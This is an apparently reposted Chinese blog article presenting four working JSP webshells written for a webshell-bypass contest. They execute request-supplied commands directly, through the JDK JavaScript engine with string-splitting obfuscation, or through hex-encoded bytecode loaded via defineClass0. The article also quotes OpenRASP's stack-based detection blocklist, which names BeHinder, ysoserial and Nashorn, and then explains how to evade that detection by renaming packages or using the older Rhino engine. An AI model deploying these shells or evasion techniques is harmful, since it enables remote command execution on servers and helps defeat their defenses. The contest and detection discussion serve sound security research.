您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關java動態加載特性中實現jsp webshell繞過的示例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
共四個jsp webshell 當時用來參加青藤webshell bypass 活動。主要思路是在靜態中尋找動態特性:jdk內置javascript引擎,class字節碼加載
<%@ page import="java.util.*,java.io.*"%> <HTML><BODY> <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<br>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML>
最直接的寫法直接over。另外發現本機PC windows defender也有把0.jsp查殺了。
<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%> <HTML><BODY> <% if (request.getParameter("cmd") != null) { String n = request.getParameter("cmd"); try { n = java.net.URLDecoder.decode(n, "UTF-8"); } catch (Exception e) { e.printStackTrace(); } String j = System.getProperty("java.version"); ScriptEngineManager engineManager = new ScriptEngineManager(); ScriptEngine engine = null; boolean b = j.indexOf("1.7") == 0 ? true : false; engine = engineManager.getEngineByName("js"); String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)" : "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)"; Bindings bindings = engine.createBindings(); bindings.put("a", n); engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE); engine.eval(m, bindings); } %> </BODY></HTML>
jdk內置javascript引擎,其中從jdk1.6默認實現是:Rhino jdk,jdk 1.8之后是:nashorn。1.jsp有對jdk不同版本做了適配。
<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%> <HTML><BODY> <% if (request.getParameter("cmd") != null) { String n = request.getParameter("cmd"); try { n = java.net.URLDecoder.decode(n, "UTF-8"); } catch (Exception e) { e.printStackTrace(); } String j = System.getProperty("java.version"); ScriptEngineManager engineManager = new ScriptEngineManager(); ScriptEngine engine = null; boolean b = j.indexOf("1.7") == 0 ? true : false; engine = engineManager.getEngineByName("js"); String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);{$0}time{$1}Run{$2}().ex{$3}(a); return a; })(a)" .replace("{$0}" ,"Run") .replace("{$1}",".get") .replace("{$2}","time") .replace("{$3}","ec"): "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Run{$0}ntime().e{$1}c(a); return a; })(a)" .replace("{$0}","time.getRu") .replace("{$1}","xe"); Bindings bindings = engine.createBindings(); bindings.put("a", n); engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE); engine.eval(m, bindings); } %> </BODY></HTML>
1.jsp中只是使用了js引擎,但是還沒充分發揮動態腳本混淆和變形的能力,2.jsp嘗試做簡單的替換變形。我們知道xss的防護對正則檢測的挑戰是很大的,個人的感受是xss經常伴隨著html和JavaScript的混合,并且JavaScript的變化多端容易混淆帶來的進一步的檢測難度,這里我們實現了類似的思路:java 與JavaScript的混合,JavaScript的動態多變能力依然可以發力,所以無論是正則還是靜態語法分析的檢測方式應該都會帶來一些障礙。
<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%> <%@ page import="java.lang.reflect.Method" %> <HTML><BODY> <% if (request.getParameter("cmd") != null) { String n = request.getParameter("cmd"); try { n = java.net.URLDecoder.decode(n, "UTF-8"); } catch (Exception e) { e.printStackTrace(); } String regexSeparator = ":"; String[] octets = hex.split(regexSeparator); byte[] data = new byte[octets.length]; for (int i = 0; i < octets.length; i++) { if (octets[i].length() > 2) { throw new NumberFormatException("Invalid octet length"); } data[i] = Integer.valueOf(octets[i], 16).byteValue(); } L l = new L(); l.defineClass0("A", data); Class<?> classA = l.loadClass("A"); Method m = classA.getDeclaredMethod("F", String.class); m.invoke(null, n); } %> </BODY></HTML>
3.jsp 是基于defineClass0 加載字節碼來bypass。當時的思路也是想歷次的入侵黑客喜歡用base64做些繞過,java可以動態加載字節碼,字節碼十六進制傳遞很難被正則waf抓住。后面在研究 ”冰蟹“ 的時候看到也用了defineclass方式。
jdk中是否要內置JavaScript引擎值得商榷,的確java開發者有比較強的 動態腳本 的需求,比如我自己做些規則引擎,配置系統的時候常用到這樣的特性。這樣的需求groovy是個很好的榜樣,由第三方jar包提供。現實情況下內置的javascript引擎性可能不滿足應用需求,比如jdk從1.8將實現換成nashorn,到了jdk15提案中又有人提議替換掉nashorn。還有在自己研究百度openrasp的時候,可以看到最早期版本java對應的規則引擎是由jdk內置提供的,而到最后還是因為性能問題切換到V8引擎。
另記一次solr CVE-2019-0193 遠程代碼執行漏洞,記得當初這個0day爆出的時候乙方的poc文章對payload打了馬賽克,結合官方文檔已經猜到是javascript動態配置引起,立馬驗證確實如此。此處有“default”,脆弱性立馬顯現。
一句話javascript引擎哪家強有由用戶自己決定吧
在寫完上面的幾個jsp的webshell的時候,和部門做滲透同事交流他提到過一個“冰蟹”。以前對webshell工具的理解上更多的關注自動化,方便,比如“中國菜刀”。但是“冰蟹”不同,他借用了協議交互會話的邏輯去增強bypass能力,開闊了思路值得借鑒。
以百度rasp為例,針對冰蟹,javascript動態腳本的webshell如何去匹配呢?
function validate_stack_java(stacks) { var known = { 'com.thoughtworks.xstream.XStream.unmarshal': "Using xstream library", 'java.beans.XMLDecoder.readObject': "Using WebLogic XMLDecoder library", 'org.apache.commons.collections4.functors.InvokerTransformer.transform': "Using Transformer library (v4)", 'org.apache.commons.collections.functors.InvokerTransformer.transform': "Using Transformer library", 'org.apache.commons.collections.functors.ChainedTransformer.transform': "Using Transformer library", 'org.jolokia.jsr160.Jsr160RequestDispatcher.dispatchRequest': "Using JNDI library (JSR 160)", 'com.sun.jndi.rmi.registry.RegistryContext.lookup': "Using JNDI registry service", 'org.apache.xbean.propertyeditor.JndiConverter': "Using JNDI binding class", 'com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig': "Using JTA transaction manager", 'com.sun.jndi.url.ldap.ldapURLContext.lookup': "Using LDAP factory service", 'com.alibaba.fastjson.JSON.parseObject': "Using fastjson library", 'org.springframework.expression.spel.support.ReflectiveMethodExecutor.execute': "Using SpEL expressions", 'freemarker.template.utility.Execute.exec': "Using FreeMarker template", 'org.jboss.el.util.ReflectionUtil.invokeMethod': "Using JBoss EL method", 'org.codehaus.groovy.runtime.ProcessGroovyMethods.execute': "Using Groovy library", 'bsh.Reflect.invokeMethod': "Using BeanShell library", 'jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptFunction.invoke': "Using Nashorn engine", 'org.apache.shiro.io.DefaultSerializer.deserialize': "Using Shiro framework (DefaultSerializer)" } var userCode = false, reachedInvoke = false, i = 0, message = undefined // v1.1.1 要求在堆棧里過濾 com.baidu.openrasp 相關的類,因為沒有實現正確而產生了多余的反射堆棧,這里需要兼容下防止誤報 // v1.1.2 修復了這個問題,即堆棧頂部為命令執行的方法 if (stacks.length > 3 && stacks[0].startsWith('sun.reflect.GeneratedMethodAccessor') && stacks[1] == 'sun.reflect.GeneratedMethodAccessorImpl.invoke' && stacks[2] == 'java.lang.reflect.Method.invoke') { i = 3 } for (; i < stacks.length; i ++) { var method = stacks[i] // 檢查反射調用 -> 命令執行之間,是否包含用戶代碼 if (! reachedInvoke) { if (method == 'java.lang.reflect.Method.invoke') { reachedInvoke = true } // 用戶代碼,即非 JDK、com.baidu.openrasp 相關的函數 if (! method.startsWith('java.') && !method.startsWith('sun.') && !method.startsWith('com.sun.') && !method.startsWith('com.baidu.openrasp.')) { userCode = true } } if (method.startsWith('ysoserial.Pwner')) { message = "Using YsoSerial tool" break } if (method.startsWith('net.rebeyond.behinder')) { message = "Using BeHinder defineClass webshell" break } if (method.startsWith('com.fasterxml.jackson.databind.')) { message = "Using Jackson deserialze method" break } // 對于如下類型的反射調用: // 1. 僅當命令直接來自反射調用才攔截 // 2. 如果某個類是反射生成,這個類再主動執行命令,則忽略 if (! userCode) { if (method == 'ognl.OgnlRuntime.invokeMethod') { message = "Using OGNL library" break } else if (method == 'java.lang.reflect.Method.invoke') { message = "Unknown vulnerability detected" } } if (known[method]) { message = known[method] } } return message }
我們可以看到rasp會hook住java stacks信息,然后去和已知的黑名單庫去匹配,比如上面提到的 javascript引擎手法(關鍵字nashorn),冰蟹(關鍵字behinder)。不得不說rasp這種以調用棧作為上下文檢測的更加精準,但是軟件的生命周期是迭代的,對抗的手法也是升級的。
比如javascript引擎隨著jdk版本的迭代而變化,策略腳本中缺失了jdk 1.8 之前Rhino方式 。對于冰蟹關鍵字”behinder“匹配能夠防住工具小子,盡管冰蟹作者沒有公布源碼,但是擬向這類工具更改包名都不是難事,從而逃脫rasp的檢查。
看完上述內容,你們對java動態加載特性中實現jsp webshell繞過的示例分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。